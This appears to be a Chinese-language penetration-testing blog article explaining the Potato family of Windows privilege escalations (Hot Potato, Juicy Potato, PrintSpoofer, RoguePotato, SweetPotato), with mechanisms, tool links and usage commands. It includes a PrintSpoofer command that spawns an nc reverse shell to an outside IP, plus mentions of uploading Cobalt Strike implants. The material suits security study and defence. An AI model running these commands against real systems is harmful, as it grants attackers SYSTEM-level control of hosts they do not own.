目录

Potato 家族提权分析

Potato 家族提权分析

1 前言

1.1 windows 服务的登录用户

  • Local System - NT AUTHORITY\SYSTEM
  • Network Service - NT AUTHORITY\Network Service
  • Local Service - NT AUTHORITY\Local Service

服务账户在 windows 权限模型中本身就拥有很高的权限,在实际渗透过程中,拿到 webshell 下,用户权限是 IIS 或者 apache,或通过 SQLi 执行 xp_cmdshell,此时手里的服务账户在进行操作时是低权限账户,而使用该提权手法可以直接获取 SYSTEM 权限。

1.2 前提

利用 Potato 提权(除开 Hot Potato)的是前提是拥有 SeImpersonatePrivilegeSeAssignPrimaryTokenPrivilege 权限,以下用户拥有 SeImpersonatePrivilege 权限(而只有更高权限的账户比如 SYSTEM 才有 SeAssignPrimaryTokenPrivilege 权限):

  • 本地管理员账户(不包括管理员组普通账户)和本地服务账户
  • 由 SCM 启动的服务

PS:本机测试时即使在本地策略中授予管理员组普通用户 SeImpersonatePrivilege 特权,在 cmd.exe 中 whoami /priv 也不显示该特权,且无法利用;而 SeAssignPrimaryTokenPrivilege 特权则可以正常授予普通用户

1.3 Windows Token

windows token 是描述安全上下文的对象,用户登陆后系统就会生成 token,创建新进程或新线程时这个 token 会不断拷贝。

当用户具有 SeImpersonatePrivilege 特权,则可以调用 CreateProcessWithTokenW 以某个 Token 的权限启动新进程

当用户具有 SeAssignPrimaryTokenPrivilege 特权,则可以调用 CreateProcessAsUserW 以 Token 权限启动新进程

具体可以参考「Windows Access Token 攻击」文章。

2 Hot Potato

2.1 简介

2016 年 1 月, Dominic White 发表了一篇文章,发布了一种基于 NTLM 反射的权限提升攻击方式,命名为 Hot Potato。可以从主机的最低用户权限提升至系统最高的 NT\AUTHORITY SYSTEM 权限。

Hot Potato 利用著名的 NTLM Relay 攻击(HTTP -> SMB)和 NBNS 欺骗攻击,获取 Windows 系统的最高权限 SYSTEM。可以从主机的最低用户权限提升至系统最高的 NT\AUTHORITY SYSTEM 权限。

2.2 NBNS

2.2.1 概念

NBNS (Net BIOS Name Service)是 Windows 系统中广泛被使用的 UDP 广播服务,即命名查询服务。该服务使用 UDP 协议实现,可以通过发送局域网内广播来实现本地名称解析。

类似于 TCP/IP 协议中的 DNS,它负责查找目标机器相应的 IP 地址,并赋予一个 NetBIOS 名称。微软 WINS 服务就是采用 NBNS协议。

2.2.2 NBNS 欺骗

系统进行一个名字查询的逻辑如下:

  1. 首先查询本地的 hosts 文件
  2. DNS Lookup 查询(本地 DNS cache,再向 DNS 服务器请求)
  3. NBNS 查询

NBNS 的逻辑是向本地所有主机广播一条消息,谁是 xxx,如果谁响应了该广播消息,谁就是 xxx

在内网渗透测试时,攻击者往往会监听 NBNS 广播消息,并且会应答自己是 xxx,这就是NBNS 欺骗;ARP欺骗是 MAC 层的欺骗方式

NBNS 包有 1 个 2 字节的 TXID 字段,必须进行请求\响应的匹配。因为是提权漏洞,所以攻击之前没有权限可以监听流量。可以通过 1-65535 之间进行泛洪猜测。

如果网络中有 DNS 记录,此时就不会用到 NBNS 协议;可以通过 UDP 端口耗尽的攻击技术,让所有 DNS 查询失败,从而必须使用 NBNS 协议

2.3 WPAD 代理

Windows 系统里,IE 浏览器会自动检测 IE 代理配置信息,方式是访问,http://wpad/wpad.dat&#8221

WPAD 是不一定存在于网络中,因为即使有 DNS 服务器,也没有必要解析 WPAD,除非网络想通过配置脚本自动配置网络中的代理信息,这种情况很方便。

因此在 hosts、DNS 查询都不能获取 WPAD 的情况下,系统必然使用 NBNS 进行名字查询,此时可以通过 NBNS 欺骗,告知自己就是 WPAD 可以构造 HTTP 服务器,响应 HTTP http://wpad/wpad.dat&#8221 查询

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200815150545.png-water_print

通过在 127.0.0.1 上构建 HTTP,将查询 WPAD 的流量全部引导至本地 127.0.0.1;即使低权限用户发出的对 WPAD 的 NBNS 欺骗,高权限进程也会受影响,认为 WPAD 就是欺骗后的结果。包括本地管理员进程和 SYSTEM 进程。

2.4 HTTP -> SMB NTLM Relay

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200815150941.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200815151054.png-water_print

NTLM 认证对于中间人攻击的防御能力不强,此前针对 NTLM 的重放攻击聚焦于 SMB -> SMB 协议,反射攻击访问者的主机,获取远程执行权限;

微软通过补丁封堵了 SMB -> SMB 协议的重放反射攻击,但是 HTTP -> SMB 这种跨协议的攻击仍然有效

2.5 攻击流程

Hot Potato 攻击就是结合了这几点,实现权限提升:

  1. NBNS 欺骗
  2. 构造本地 HTTP,响应 WPAD
  3. HTTP -> SMB NTLM Relay
  4. 等待高权限进程的访问,即激活更新服务(低权限可激活)

https://github.com/Kevin-Robertson/Tater

1
2
Import-Module .\Tater.ps1
Invoke-Tater -Command "command to execute"

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200815161221.png-water_print

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20200815161322.png-water_print

工具地址:https://github.com/foxglovesec/Potato

  • Win7 利用 - Windows Defender 更新机制
1
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true
  • Win Server 2008 利用 - Windows Update 机制
1
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true -spoof_host WPAD.EMC.LOCAL
  • Win Server 2012 R2 - 自动更新机制,该机会每天下载证书信任列表(CTL)
1
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true

防护:

  • SMB 签名

3 Rotten Potato & JuicyPotato

3.1 原理

这两种不同于初始的 Potato,它是通过 DCOM CALL 来使服务向攻击者监听的端口发起连接并进行 NTLM 认证

Rotten Potato 和 Juicy Potato 几乎是同样的原理,后者在前者的基础上完善。

需要理解的几个知识:

  1. 使用 DCOM 时,如果以服务的方式远程连接,那么权限为 System,例如 BITS 服务
  2. 使用 DCOM 可以通过 TCP 连接到本机的一个端口,发起 NTLM 认证,该认证可以被重放
  3. LocalService 用户默认具有 SeImpersonate 和 SeAssignPrimaryToken 权限
  4. 开启 SeImpersonate 权限后,能够在调用 CreateProcessWithToken 时,传入新的 Token 创建新的进程
  5. 开启 SeAssignPrimaryToken 权限后,能够在调用 CreateProcessAsUser 时,传入新的 Token 创建新的进程

3.2 实现流程

  • 加载 COM,发出请求,权限为 System

在指定 ip 和端口的位置尝试加载一个 COM 对象

RottenPotatoNG 使用的 COM 对象为 BITS,CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097}

可供选择的 COM 对象不唯一,Juicy Potato 提供了多个,详细列表可参考如下地址:

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

  • 回应步骤 1 的请求,发起 NTLM 认证

正常情况下,由于权限不足,当前权限不是 System,无法认证成功

  • 针对本地端口,同样发起 NTLM 认证,权限为当前用户

由于权限为当前用户,所以 NTLM 认证能够成功完成

信息

RottenPotatoNG 使用的 135 端口

Juicy Potato 支持指定任意本地端口,但是 RPC 一般默认为135端口,很少被修改

  • 分别拦截两个 NTLM 认证的数据包,替换数据,通过 NTLM 重放使得步骤 1(权限为 System)的 NTLM 认证通过,获得 System 权限的 Token

重放时需要注意 NTLM 认证的 NTLM Server Challenge 不同,需要修正

  • 利用 System 权限的 Token 创建新进程

如果开启 SeImpersonate 权限,调用 CreateProcessWithToken,传入 System 权限的 Token,创建的进程为 System 权限

或者

如果开启 SeAssignPrimaryToken 权限,调用 CreateProcessAsUser,传入 System 权限的 Token,创建的进程为 System 权限

3.2 实战

工具地址:https://github.com/ohpe/juicy-potato

3.2.1 initial access

一个 iis apppool\defaultapppool 权限的 webshell。

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210131160500.png-water_print

3.2.2 根据操作系统选择可用的 CLSID

参考列表

https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

例如测试系统 Server2012,选择 CLSID 为{8BC3F05E-D86B-11D0-A075-00C04FB68820}

使用批处理调用 juicypotato.exe 逐个验证:

地址如下:

https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat

bat 脚本不需要做修改

3.2.3 提权

上传 CS 的马,或者反弹一个交互式的 shell 回来:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210131160423.png-water_print

利用 JuicePotato 执行命令或 C2 程序

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210131160439.png-water_print

4 PrintSpoofer (PipePotato or BadPotato)

4.1 原理

通过 Windows named pipe 的一个 API: ImpersonateNamedPipeClient来模拟高权限客户端的 token(还有类似的ImpersonatedLoggedOnUserRpcImpersonateClient函数),调用该函数后会更改当前线程的安全上下文,它利用了打印机组件路径检查的 BUG,使 SYSTEM 权限服务能连接到攻击者创建的 named pipe。

spoolsv.exe 服务有一个公开的 RPC 服务,里面有以下函数:

1
2
3
4
5
6
7
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( 
    /* [in] */ PRINTER_HANDLE hPrinter,
    /* [in] */ DWORD fdwFlags,
    /* [in] */ DWORD fdwOptions,
    /* [unique][string][in] */ wchar_t *pszLocalMachine,
    /* [in] */ DWORD dwPrinterLocal,
    /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions)

pszLocalMachine 参数需要传递 UNC 路径,传递 \\127.0.0.1 时,服务器会访问 \\127.0.0.1\pipe\spoolss,但这个管道已经被系统注册了,如果我们传递 \\127.0.0.1\pipe 则因为路径检查而报错

但当传递 \\127.0.0.1/pipe/foo 时,校验路径时会认为 127.0.0.1/pipe/foo 是主机名,随后在连接 named pipe 时会对参数做标准化,将 / 转化为 \,于是就会连接 \\127.0.0.1\pipe\foo\pipe\spoolss,攻击者就可以注册这个 named pipe 从而窃取 client 的 token。这个 POC 启动新进程是使用 CreateProcessAsUser 而不是 CreateProcessWithToken

4.2 实战

工具地址:https://github.com/itm4n/PrintSpoofer

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210131163859.gif-water_print

4.2.1 派生一个 SYSTEM 交互式 shell

适用于当前为交互式 shell 的状态下:

1
2
3
4
5
6
7
8
9
C:\TOOLS>PrintSpoofer.exe -i -c cmd
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK
Microsoft Windows [Version 10.0.19613.1000]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32>whoami
nt authority\system

4.2.2 派生一个 SYSTEM 的进程

适用于无交互式 shell,但是可以命令执行,使用 CS 上马或者 nc 反弹高权限 shell:

1
2
3
4
C:\TOOLS>PrintSpoofer.exe -c "C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

4.2.3 桌面环境下派生 SYSTEM 进程

在本地登录或者 RDP 下,先用 qwinsta 查看当前 ID 号,然后利用 POC:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210131164420.png-water_print

1
2
3
4
C:\TOOLS>PrintSpoofer.exe -d 3 -c "powershell -ep bypass"
[+] Found privilege: SeImpersonatePrivilege
[+] Named pipe listening...
[+] CreateProcessAsUser() OK

5 RoguePotato

5.1 原理

这个也是利用了命名管道

微软修补后,高版本 Windows DCOM 解析器不允许 OBJREF 中的 DUALSTRINGARRAY 字段指定端口号。为了绕过这个限制并能做本地令牌协商,作者在一台远程主机上的 135 端口做流量转发,将其转回受害者本机端口,并写了一个恶意 RPC OXID 解析器。

5.2 实战

工具地址:https://github.com/antonioCoco/RoguePotato

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Mandatory args:
-r remote_ip: ip of the remote machine to use as redirector
-e commandline: commandline of the program to launch


Optional args:
-l listening_port: This will run the RogueOxidResolver locally on the specified port
-c {clsid}: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-p pipename_placeholder: placeholder to be used in the pipe name creation (default: RoguePotato)
-z : this flag will randomize the pipename_placeholder (don't use with -p)

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210131165110.png-water_print

6 SweetPotato

6.1 原理

COM/WinRM/Spoolsv 的集合版,也就是 Juicy/PrintSpoofer 的集合版

6.2 实战

工具地址:https://github.com/CCob/SweetPotato

参考: